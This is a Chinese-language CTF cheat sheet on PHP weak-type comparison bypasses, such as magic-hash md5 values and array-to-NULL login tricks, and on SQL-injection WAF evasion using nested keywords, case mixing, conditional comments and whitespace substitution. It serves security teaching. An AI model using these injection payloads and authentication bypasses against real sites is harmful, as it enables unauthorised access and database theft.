CTF Tricks

0x01 php弱类型

什么是php弱类型

php变量类型

1
2
3
4
5
6
7
8
9
10
string
integer
array
double
object
resource
NULL
string array NULL 可以从RGPC传入
遇到不符类型,自动转换

php类型装换

1
2
3
4
5
6
7
8
9
'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1

题型1 scrcmp

1
2
3
4
5
6
7
define('FLAG','CTF{THIS_IS_FLAG}');
if (strcmp($_GET['flag'],FLAG) == 0){
echo "success,flag:".FLAG;
}
scrcmp:如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
strcmp比较出错=>返回NULL=>NULL == 0 =>

题型2 字符串比较(原值不相等,md5值相等)

1
2
3
4
5
6
error_reporting(0);
define('FLAG','CTF{THIS_IS_FLAG}');
if($_GET['s1'] != $_GET['s2']
&& md5($_GET['s1']) == md5($_GET['s2'])){
echo "success,flag:".FLAG;
}

Solution1

什么是科学计数法

‘0e123456789’ == ‘0e987654321’ == 0

md5值的取值范围

‘0123456789abcdef’

[0e+数字]的md5

md5(‘QNKCDZO’) ==
‘0e830400451993494058024219903391’

md5(‘240610708’) ==
‘0e462097431906509019562988736854’

Solution2

PHP md5函数特性

md5([1,2,3]) == md5([4,5,6]) == NULL

数组Trick,无需再利用弱类型比较特性

总结的一些常用的比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php > var_dump(md5('240610708') == md5('QNKCDZO'));
bool(true)
php > var_dump(md5('240610708'), md5('QNKCDZO'));
string(32) "0e462097431906509019562988736854"
string(32) "0e830400451993494058024219903391"
php > var_dump(md5('240610708') === md5('QNKCDZO'));
bool(false)
php > var_dump("0e462097431906509019562988736854" == "0e830400451993494058024219903391");
bool(true)
php > var_dump("0e462097431906509019562988736854" === "0e830400451993494058024219903391");
bool(false)
php > var_dump(md5('240610708') === md5('QNKCDZO'));
bool(false)
php > var_dump(md5('240610708') == md5('QNKCDZO'));
bool(true)
php > var_dump(md5('240610708') === md5('QNKCDZO'));
bool(false)

题型3 登录逻辑常见考点

1
2
3
4
5
6
7
$name = addcslashes($_POST['name']);
$r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'");
if($r['pass'] === md5($_POST['pass'])){
//...login success
}
不存在sql注入漏洞
密码比较使用严格模式“===”,故此处不存在弱类型比较漏洞

运行流程:

NULL的巧妙构造

1
2
3
4
5
用户不存在=>$r['pass']<=>NULL
密码是数组=>md5($_POST['pass']) ⇔ NULL
$r['pass'] === md5($_POST['pass'])
NULL === NULL 成立
成功登录!

0x02 发现源码(题面信息越少,越可能需要找到源码)

发现套路

1
2
3
题目只给出一个登录框
页面只有一两行字
页面中包含Powered XXX

关于misc查看通讯地址Trick

直接丢到 https://www.virustotal.com/ 在 Behavioural information 可以看到通讯地址

源码发掘考点一览

0x03 CTF比赛中的那些WAF与绕过

题型4 字符串替换WAF

1
2
3
$str = str_replace("select", "", $str);
$str = str_replace("union", "", $str);
$str = str_replace("into", "", $str);

一大堆非常严格的过滤,最后出现一处字符串替换空型WAF

方法:

1
test.php?str=-1 uniunionon selselectect 1,2,3,4,5 from `admin` limit 1

题型5 字符替换空型WAF加强版

1
2
3
4
5
$tmp_str = "";
while($tmp_str != $str) {
$tmp_str = $str;
$str = str_replace("select", "", $str);
}

通过循环替换转移注意力,实际简单的大小写变换即可绕过

1
test.php?str=-1 UniON SeLeCT 1,2,3,4,5 FrOM `admin` LiMiT 1

题型6 特殊字符(串)拦截型WAF

1
2
3
4
if(preg_match('/(\bselect\b|\bunion\b|and|or|;|,|#|\(|\))/is',
$_GET['id'])) {
exit('BAD ID');
}

####那些常见的SQL Trick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[\bselect\b] 或 [\bunion\b]:
Mysql条件注释的利用 /*!50000select*/
浮点数利用WHERE id=0.1UnIoN SeLeCT ...
[#]
Mysql注释符:/**/,/*!条件注释*、,--,;,`
[,]
盲注 mid(user() from 1 for 1) == mid(user(),1,1)
UNION注入 union select * from (select 1)a join (select 2)b ==union select 1,2
[and] 或 [or]:
查缺补漏xor,||,&&.!,not
[>|=|<] 逻辑操作符:
关键字替代符号 between、like、rlike、regex、is
与0比较法 -1 or 1=1 and ord(substr(user(),1,1))-114
[空白符]
控制字符替代法20 09 0A 0B 0C 0D A0
符号替代法 /**/、select.``.password、select+user()
括号组合法 union(select(1),2)、select{x(password)}from{x(user)}

不要害怕正则

未完待续!!!!!!!!

参考链接

CTF比赛总是输?你还差点Tricks!

------*** end*** ------